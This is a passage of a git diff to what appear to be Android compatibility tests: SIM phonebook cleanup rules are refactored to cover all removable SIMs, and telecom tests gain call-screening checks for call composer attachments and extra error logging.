-import android.content.ContentResolver;
-import android.content.Context;
-import android.database.Cursor;
-import android.os.Bundle;
-import android.provider.SimPhonebookContract;
-import android.provider.SimPhonebookContract.ElementaryFiles;
-import android.telephony.SubscriptionInfo;
-import android.telephony.SubscriptionManager;
-import android.util.Log;
-
-import androidx.test.core.app.ApplicationProvider;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.rules.ExternalResource;
-
-/** Removes all records from the SIM card after tests have run. */
-class SimCleanupRule extends ExternalResource {
-    private static final String TAG = SimCleanupRule.class.getSimpleName();
-    private final ContentResolver mResolver;
-    private final int mSubscriptionId;
-    private final int mEfType;
-    private final Bundle mExtras = new Bundle();
-
-    SimCleanupRule(int efType) {
-        this(efType, null);
-    }
-
-    SimCleanupRule(int efType, String pin2) {
-        this(efType, pin2, SubscriptionManager.getDefaultSubscriptionId());
-    }
-
-    SimCleanupRule(int efType, String pin2, int subscriptionId) {
-        Context context = ApplicationProvider.getApplicationContext();
-        mResolver = context.getContentResolver();
-        mEfType = efType;
-        mExtras.putString(SimPhonebookContract.SimRecords.QUERY_ARG_PIN2, pin2);
-        mSubscriptionId = subscriptionId;
-    }
-
-    public static SimCleanupRule forAdnOnSlot(int slotIndex) {
-        Context context = ApplicationProvider.getApplicationContext();
-        SubscriptionInfo info = null;
-        try {
-            info = SystemUtil.callWithShellPermissionIdentity(
-                    () -> context.getSystemService(SubscriptionManager.class)
-                            .getActiveSubscriptionInfoForSimSlotIndex(slotIndex),
-                    Manifest.permission.READ_PHONE_STATE);
-        } catch (Exception e) {
-            Log.e(TAG, "Failed to get subscription", e);
-        }
-        return new SimCleanupRule(
-                ElementaryFiles.EF_ADN, null,
-                info != null
-                        ? info.getSubscriptionId()
-                        : SubscriptionManager.INVALID_SUBSCRIPTION_ID);
-    }
-
-    int getSubscriptionId() {
-        return mSubscriptionId;
-    }
-
-    void setPin2(String pin2) {
-        mExtras.putString(SimPhonebookContract.SimRecords.QUERY_ARG_PIN2, pin2);
-    }
-
-    @Override
-    protected void after() {
-        if (mSubscriptionId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            Log.w(TAG, "No cleanup for invalid subscription ID");
-            return;
-        }
-        if (mEfType == ElementaryFiles.EF_FDN) {
-            clearFdn();
-        } else {
-            clearEf();
-        }
-    }
-
-    private void clearFdn() {
-        SystemUtil.runWithShellPermissionIdentity(this::clearEf,
-                Manifest.permission.MODIFY_PHONE_STATE);
-    }
-
-    private void clearEf() {
-        try (Cursor cursor = mResolver.query(
-                SimPhonebookContract.SimRecords.getContentUri(mSubscriptionId, mEfType),
-                new String[]{SimPhonebookContract.SimRecords.RECORD_NUMBER}, null, null)) {
-            while (cursor.moveToNext()) {
-                mResolver.delete(
-                        SimPhonebookContract.SimRecords.getItemUri(mSubscriptionId, mEfType,
-                                cursor.getInt(0)), mExtras);
-            }
-        }
-    }
-}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
index 0e3b6e7..0cfaa44 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
@@ -22,6 +22,7 @@
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.database.ContentObserver;
 import android.net.Uri;
@@ -29,7 +30,6 @@
 import android.os.Looper;
 import android.provider.SimPhonebookContract;
 import android.provider.SimPhonebookContract.ElementaryFiles;
-import android.telephony.SubscriptionManager;
 
 import androidx.annotation.Nullable;
 import androidx.test.core.app.ApplicationProvider;
@@ -57,7 +57,7 @@
 
     @ClassRule
     public static final SimsPowerRule SIMS_POWER_RULE = SimsPowerRule.on();
-    private final SimCleanupRule mSimCleanupRule = new SimCleanupRule(ElementaryFiles.EF_ADN);
+    private final SimsCleanupRule mSimCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_ADN);
     @Rule
     public final TestRule mRule = RuleChain
             .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
@@ -70,7 +70,8 @@
 
     @Before
     public void setUp() {
-        mResolver = ApplicationProvider.getApplicationContext().getContentResolver();
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
         mObserver = new RecordingContentObserver();
         mResolver.registerContentObserver(SimPhonebookContract.AUTHORITY_URI, false, mObserver);
         assertThat(mObserver.observed).isEmpty();
@@ -78,7 +79,7 @@
         // Make sure the provider has been created.
         mResolver.getType(SimPhonebookContract.SimRecords.getContentUri(1, EF_ADN));
 
-        mSubId = SubscriptionManager.getDefaultSubscriptionId();
+        mSubId = new RemovableSims(context).getDefaultSubscriptionId();
     }
 
     @After
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
index acdb215..5fdfa8e 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -26,6 +26,7 @@
 import android.Manifest;
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
@@ -70,14 +71,14 @@
     public final TestRule mRule = RuleChain
             .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
             .around(new SimPhonebookRequirementsRule())
-            .around(new SimCleanupRule(ElementaryFiles.EF_ADN));
+            .around(new SimsCleanupRule(ElementaryFiles.EF_ADN));
 
     @Before
     public void setUp() {
-        mResolver = ApplicationProvider.getApplicationContext().getContentResolver();
-        mSubscriptionManager = ApplicationProvider.getApplicationContext().getSystemService(
-                SubscriptionManager.class);
-        mValidSubscriptionId = SubscriptionManager.getDefaultSubscriptionId();
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        mSubscriptionManager = context.getSystemService(SubscriptionManager.class);
+        mValidSubscriptionId = new RemovableSims(context).getDefaultSubscriptionId();
     }
 
     @Test
@@ -98,7 +99,7 @@
                     ElementaryFiles.getItemUri(subscriptionId, ElementaryFiles.EF_FDN),
                     new String[]{ElementaryFiles.SUBSCRIPTION_ID}, null, null)) {
                 // If the EF is unsupported the item Uri will return an empty cursor
-                if (cursor.moveToFirst()) {
+                if (Objects.requireNonNull(cursor).moveToFirst()) {
                     assertWithMessage("subscriptionId")
                             .that(subscriptionId).isEqualTo(cursor.getInt(0));
                     fdnSupportedBySubId.append(subscriptionId, true);
@@ -108,7 +109,7 @@
                     ElementaryFiles.getItemUri(subscriptionId, ElementaryFiles.EF_SDN),
                     new String[]{ElementaryFiles.SUBSCRIPTION_ID}, null, null)) {
                 // If the EF is unsupported the item Uri will return an empty cursor
-                if (cursor.moveToFirst()) {
+                if (Objects.requireNonNull(cursor).moveToFirst()) {
                     assertWithMessage("subscriptionId")
                             .that(subscriptionId).isEqualTo(cursor.getInt(0));
                     sdnSupportedBySubId.append(subscriptionId, true);
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java
index 9331fc9..df7a20b 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java
@@ -24,10 +24,12 @@
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.SimPhonebookContract.ElementaryFiles;
 import android.provider.SimPhonebookContract.SimRecords;
+import android.telephony.SubscriptionInfo;
 
 import androidx.annotation.NonNull;
 import androidx.test.core.app.ApplicationProvider;
@@ -40,17 +42,18 @@
 import org.junit.rules.TestRule;
 import org.junit.runner.RunWith;
 
+import java.util.List;
 import java.util.Objects;
 
 /** Tests of {@link SimRecords} for devices that have multiple SIM cards. */
 @RunWith(AndroidJUnit4.class)
 public class SimPhonebookContract_SimRecordsMultiSimTest {
 
-    private final SimCleanupRule mSim1Rule = SimCleanupRule.forAdnOnSlot(0);
-    private final SimCleanupRule mSim2Rule = SimCleanupRule.forAdnOnSlot(1);
+    private final SimPhonebookRequirementsRule mRequirementsRule =
+            new SimPhonebookRequirementsRule(2);
     @Rule
-    public final TestRule mRule = RuleChain.outerRule(new SimPhonebookRequirementsRule(2))
-            .around(mSim1Rule).around(mSim2Rule);
+    public final TestRule mRule = RuleChain.outerRule(mRequirementsRule)
+            .around(new SimsCleanupRule(EF_ADN));
 
     private ContentResolver mResolver;
 
@@ -59,9 +62,12 @@
 
     @Before
     public void setUp() {
-        mResolver = ApplicationProvider.getApplicationContext().getContentResolver();
-        mSubscriptionId1 = mSim1Rule.getSubscriptionId();
-        mSubscriptionId2 = mSim2Rule.getSubscriptionId();
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        RemovableSims removableSims = new RemovableSims(context);
+        List<SubscriptionInfo> infos = removableSims.getSubscriptionInfoForRemovableSims();
+        mSubscriptionId1 = infos.get(0).getSubscriptionId();
+        mSubscriptionId2 = infos.get(1).getSubscriptionId();
     }
 
     @Test
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
index 1592b26..37ea8f6 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
@@ -37,7 +37,6 @@
 import android.provider.SimPhonebookContract.ElementaryFiles;
 import android.provider.SimPhonebookContract.SimRecords;
 import android.telephony.PhoneNumberUtils;
-import android.telephony.SubscriptionManager;
 
 import androidx.annotation.NonNull;
 import androidx.test.core.app.ApplicationProvider;
@@ -72,9 +71,8 @@
      */
     private String mPin2 = "1234";
 
-    private final SimCleanupRule mAdnCleanupRule = new SimCleanupRule(ElementaryFiles.EF_ADN);
-    private final SimCleanupRule mFdnCleanupRule = new SimCleanupRule(ElementaryFiles.EF_FDN,
-            mPin2);
+    private final SimsCleanupRule mAdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_ADN);
+    private final SimsCleanupRule mFdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_FDN);
     @Rule
     public final TestRule mRule = RuleChain
             .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
@@ -97,7 +95,7 @@
     public void setUp() {
         mContext = ApplicationProvider.getApplicationContext();
         mResolver = mContext.getContentResolver();
-        mDefaultSubscriptionId = SubscriptionManager.getDefaultSubscriptionId();
+        mDefaultSubscriptionId = new RemovableSims(mContext).getDefaultSubscriptionId();
 
         Bundle args = InstrumentationRegistry.getArguments();
         if (args.containsKey("sim-pin2")) {
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java
index 6446bee..e53694b 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookRequirementsRule.java
@@ -21,21 +21,12 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.junit.Assume.assumeThat;
 
-import android.Manifest;
 import android.content.Context;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-import android.telephony.UiccSlotInfo;
 
 import androidx.test.core.app.ApplicationProvider;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.rules.ExternalResource;
 
-import java.util.Arrays;
-import java.util.Objects;
-
 class SimPhonebookRequirementsRule extends ExternalResource {
 
     private final int mMinimumSimCount;
@@ -51,23 +42,12 @@
     @Override
     protected void before() {
         Context context = ApplicationProvider.getApplicationContext();
-        TelephonyManager telephonyManager = Objects.requireNonNull(
-                context.getSystemService(TelephonyManager.class));
-        UiccSlotInfo[] uiccSlots = SystemUtil.runWithShellPermissionIdentity(
-                telephonyManager::getUiccSlotsInfo,
-                Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
-        int nonEsimCount = (int) Arrays.stream(uiccSlots)
-                .filter(info -> !info.getIsEuicc()).count();
-        assumeThat(nonEsimCount, greaterThanOrEqualTo(mMinimumSimCount));
+        RemovableSims removableSims = new RemovableSims(context);
 
-        SubscriptionManager subscriptionManager = Objects.requireNonNull(
-                context.getSystemService(SubscriptionManager.class));
-        SystemUtil.runWithShellPermissionIdentity(() ->
-                // This is an assertion rather than an assumption because according to the
-                // CTS setup all slots should have a SIM installed.
-                assertWithMessage("A SIM must be installed in each SIM slot.").that(
-                        subscriptionManager.getActiveSubscriptionInfoCount())
-                        .isEqualTo(telephonyManager.getSupportedModemCount())
-        );
+        assumeThat(removableSims.getRemovableSimSlotCount(),
+                greaterThanOrEqualTo(mMinimumSimCount));
+        assertWithMessage("A SIM must be installed in each SIM slot")
+                .that(removableSims.getSubscriptionInfoForRemovableSims().size())
+                .isAtLeast(mMinimumSimCount);
     }
 }
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java
new file mode 100644
index 0000000..5bd519c
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimsCleanupRule.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import android.Manifest;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.Cursor;
+import android.os.Bundle;
+import android.provider.SimPhonebookContract;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.telephony.SubscriptionInfo;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.rules.ExternalResource;
+
+import java.util.List;
+import java.util.Objects;
+
+/** Removes all records from all the removalbe SIM cards after tests have run. */
+class SimsCleanupRule extends ExternalResource {
+    private static final String TAG = SimsCleanupRule.class.getSimpleName();
+    private final ContentResolver mResolver;
+    private final int mEfType;
+    private final Bundle mExtras = new Bundle();
+
+    SimsCleanupRule(int efType) {
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        mEfType = efType;
+    }
+
+    void setPin2(String pin2) {
+        mExtras.putString(SimPhonebookContract.SimRecords.QUERY_ARG_PIN2, pin2);
+    }
+
+    @Override
+    protected void after() {
+        RemovableSims removableSims = new RemovableSims(
+                ApplicationProvider.getApplicationContext());
+        List<SubscriptionInfo> infos = removableSims.getSubscriptionInfoForRemovableSims();
+        for (SubscriptionInfo info : infos) {
+            if (mEfType == ElementaryFiles.EF_FDN) {
+                clearFdn(info.getSubscriptionId());
+            } else {
+                clearEf(info.getSubscriptionId());
+            }
+        }
+    }
+
+    private void clearFdn(int subscriptionId) {
+        SystemUtil.runWithShellPermissionIdentity(() -> clearEf(subscriptionId),
+                Manifest.permission.MODIFY_PHONE_STATE);
+    }
+
+    private void clearEf(int subscriptionId) {
+        try (Cursor cursor = Objects.requireNonNull(mResolver.query(
+                SimPhonebookContract.SimRecords.getContentUri(subscriptionId, mEfType),
+                new String[]{SimPhonebookContract.SimRecords.RECORD_NUMBER}, null, null))) {
+            while (cursor.moveToNext()) {
+                mResolver.delete(
+                        SimPhonebookContract.SimRecords.getItemUri(subscriptionId, mEfType,
+                                cursor.getInt(0)), mExtras);
+            }
+        }
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index e01b12b..4272af0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -69,8 +69,6 @@
     protected void tearDown() throws Exception {
         if (mShouldTestTelecom && !TextUtils.isEmpty(mPreviousDefaultDialer)) {
             TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
-            mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
-            CtsConnectionService.tearDown();
             MockCallScreeningService.disableService(mContext);
         }
         super.tearDown();
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index aa7224a..abc0888 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -246,6 +246,7 @@
 
     protected PhoneAccount setupConnectionService(MockConnectionService connectionService,
             int flags) throws Exception {
+        Log.i(TAG, "Setting up mock connection service");
         if (connectionService != null) {
             this.connectionService = connectionService;
         } else {
@@ -276,6 +277,7 @@
     }
 
     protected void tearDownConnectionService(PhoneAccountHandle accountHandle) throws Exception {
+        Log.i(TAG, "Tearing down mock connection service");
         if (this.connectionService != null) {
             assertNumConnections(this.connectionService, 0);
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 48cc464..cacf403 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -25,6 +25,8 @@
 import android.media.AudioManager;
 import android.net.Uri;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.telecom.CallScreeningService.CallResponse;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.PhoneAccountHandle;
@@ -291,7 +293,22 @@
         }
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        MockCallScreeningService.enableService(mContext);
         try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
             addAndVerifyNewIncomingCall(createTestNumber(), null);
             MockConnection connection = verifyConnectionForIncomingCall();
 
@@ -300,9 +317,12 @@
                             .getArgs(0);
             assertFalse((boolean) callFilteringCompleteInvocations[0]);
             assertFalse((boolean) callFilteringCompleteInvocations[1]);
+            assertEquals(response, callFilteringCompleteInvocations[2]);
+            assertFalse((boolean) callFilteringCompleteInvocations[3]);
         } finally {
             InstrumentationRegistry.getInstrumentation().getUiAutomation()
                     .dropShellPermissionIdentity();
+            MockCallScreeningService.disableService(mContext);
         }
     }
 
@@ -315,8 +335,25 @@
         Uri testNumber = createTestNumber();
         Uri contactUri = TestUtils.insertContact(mContext.getContentResolver(),
                 testNumber.getSchemeSpecificPart());
+        TestUtils.setSystemDialerOverride(getInstrumentation());
+        MockCallScreeningService.enableService(mContext);
         try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
             addAndVerifyNewIncomingCall(testNumber, null);
+
             MockConnection connection = verifyConnectionForIncomingCall();
 
             Object[] callFilteringCompleteInvocations =
@@ -324,12 +361,28 @@
                             .getArgs(0);
             assertFalse((boolean) callFilteringCompleteInvocations[0]);
             assertTrue((boolean) callFilteringCompleteInvocations[1]);
+            assertEquals(response, callFilteringCompleteInvocations[2]);
+            assertTrue((boolean) callFilteringCompleteInvocations[3]);
         } finally {
             InstrumentationRegistry.getInstrumentation().getUiAutomation()
                     .dropShellPermissionIdentity();
             TestUtils.deleteContact(mContext.getContentResolver(), contactUri);
+            MockCallScreeningService.disableService(mContext);
+            TestUtils.clearSystemDialerOverride(getInstrumentation());
         }
     }
+
+    private MockCallScreeningService.CallScreeningServiceCallbacks createCallbackForCsTest(
+            CallScreeningService.CallResponse response) {
+        return new MockCallScreeningService.CallScreeningServiceCallbacks() {
+            @Override
+            public void onScreenCall(Call.Details callDetails) {
+
+                getService().respondToCall(callDetails, response);
+            }
+        };
+    }
+
     public void testCallDirectionOutgoing() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index 89eb5a6..5dae559 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -69,7 +69,7 @@
     public static void setUp(ConnectionService connectionService) throws Exception {
         synchronized(sLock) {
             if (sConnectionService != null) {
-                throw new Exception("Mock ConnectionService exists.  Failed to call tearDown().");
+                throw new Exception("Mock ConnectionService exists.  Failed to call setUp().");
             }
             sConnectionService = connectionService;
         }
@@ -90,6 +90,8 @@
                 return sConnectionService.onCreateOutgoingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
+                Log.e(LOG_TAG,
+                        "Tried to create outgoing connection when sConnectionService null!");
                 return null;
             }
         }
@@ -103,6 +105,8 @@
                 return sConnectionService.onCreateIncomingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
+                Log.e(LOG_TAG,
+                        "Tried to create incoming connection when sConnectionService null!");
                 return null;
             }
         }
@@ -114,6 +118,9 @@
         if (sConnectionService != null) {
             sConnectionService.onCreateIncomingConnectionFailed(connectionManagerPhoneAccount,
                     request);
+        } else {
+            Log.e(LOG_TAG,
+                    "onCreateIncomingConnectionFailed called when sConnectionService null!");
         }
     }
 
@@ -125,6 +132,8 @@
                 return sConnectionService.onCreateOutgoingConference(connectionManagerPhoneAccount,
                         request);
             } else {
+                Log.e(LOG_TAG,
+                        "onCreateOutgoingConference called when sConnectionService null!");
                 return null;
             }
         }
@@ -137,6 +146,9 @@
             if (sConnectionService != null) {
                 sConnectionService.onCreateOutgoingConferenceFailed(connectionManagerPhoneAccount,
                         request);
+            } else {
+                Log.e(LOG_TAG,
+                        "onCreateOutgoingConferenceFailed called when sConnectionService null!");
             }
         }
     }
@@ -149,6 +161,8 @@
                 return sConnectionService.onCreateIncomingConference(connectionManagerPhoneAccount,
                         request);
             } else {
+                Log.e(LOG_TAG,
+                        "onCreateIncomingConference called when sConnectionService null!");
                 return null;
             }
         }
@@ -161,6 +175,9 @@
             if (sConnectionService != null) {
                 sConnectionService.onCreateIncomingConferenceFailed(connectionManagerPhoneAccount,
                         request);
+            } else {
+                Log.e(LOG_TAG,
+                        "onCreateIncomingConferenceFailed called when sConnectionService null!");
             }
         }
     }
@@ -170,6 +187,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConference(connection1, connection2);
+            } else {
+                Log.e(LOG_TAG,
+                        "onConference called when sConnectionService null!");
             }
         }
     }
@@ -179,6 +199,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onRemoteExistingConnectionAdded(connection);
+            } else {
+                Log.e(LOG_TAG,
+                        "onRemoteExistingConnectionAdded called when sConnectionService null!");
             }
         }
     }
@@ -247,6 +270,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onRemoteConferenceAdded(conference);
+            } else {
+                Log.e(LOG_TAG,
+                        "onRemoteConferenceAdded called when sConnectionService null!");
             }
         }
     }
@@ -256,6 +282,9 @@
         synchronized (sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConnectionServiceFocusGained();
+            } else {
+                Log.e(LOG_TAG,
+                        "onConnectionServiceFocusGained called when sConnectionService null!");
             }
         }
     }
@@ -265,6 +294,9 @@
         synchronized (sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConnectionServiceFocusLost();
+            } else {
+                Log.e(LOG_TAG,
+                        "onConnectionServiceFocusLost called when sConnectionService null!");
             }
         }
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index ff81c97..f46fd10 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -24,10 +24,12 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.res.Configuration;
+import android.location.Location;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.InCallService;
@@ -407,6 +409,52 @@
         }
     }
 
+    public void testCallComposerAttachmentsStrippedCorrectly() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_LOCATION, new Location(""));
+        extras.putInt(TelecomManager.EXTRA_PRIORITY, TelecomManager.PRIORITY_URGENT);
+        extras.putString(TelecomManager.EXTRA_CALL_SUBJECT, "blah blah blah");
+
+        TestUtils.setSystemDialerOverride(getInstrumentation());
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(0)
+                            .build();
+
+            MockCallScreeningService.setCallbacks(
+                    new MockCallScreeningService.CallScreeningServiceCallbacks() {
+                        @Override
+                        public void onScreenCall(Call.Details callDetails) {
+                            getService().respondToCall(callDetails, response);
+                        }
+                    });
+
+            addAndVerifyNewIncomingCall(createTestNumber(), extras);
+            verifyConnectionForIncomingCall(0);
+            MockInCallService inCallService = mInCallCallbacks.getService();
+            Call call = inCallService.getLastCall();
+
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_LOCATION));
+            assertFalse(call.getDetails().getExtras().containsKey(TelecomManager.EXTRA_PRIORITY));
+            assertFalse(call.getDetails().getExtras()
+                    .containsKey(TelecomManager.EXTRA_CALL_SUBJECT));
+        } finally {
+            MockCallScreeningService.disableService(mContext);
+            TestUtils.clearSystemDialerOverride(getInstrumentation());
+        }
+    }
+
     private Uri blockNumber(Uri phoneNumberUri) {
         Uri number = insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
         if (number == null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 62d3916..c6ef75c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -21,6 +21,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
+import android.telecom.CallScreeningService;
 import android.telecom.Connection;
 import android.telecom.DisconnectCause;
 import android.telecom.PhoneAccountHandle;
@@ -261,8 +262,11 @@
     }
 
     @Override
-    public void onCallFilteringCompleted(boolean isBlocked, boolean isInContacts) {
-        getInvokeCounter(ON_CALL_FILTERING_COMPLETED).invoke(isBlocked, isInContacts);
+    public void onCallFilteringCompleted(boolean isBlocked, boolean isInContacts,
+            CallScreeningService.CallResponse response,
+            boolean responseFromSystemDialer) {
+        getInvokeCounter(ON_CALL_FILTERING_COMPLETED).invoke(isBlocked, isInContacts,
+                response, responseFromSystemDialer);
     }
 
     public int getCurrentState()  {
diff --git a/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/NonUiInCallServiceTest.java
index 94ec4d0..cb1357a 100644
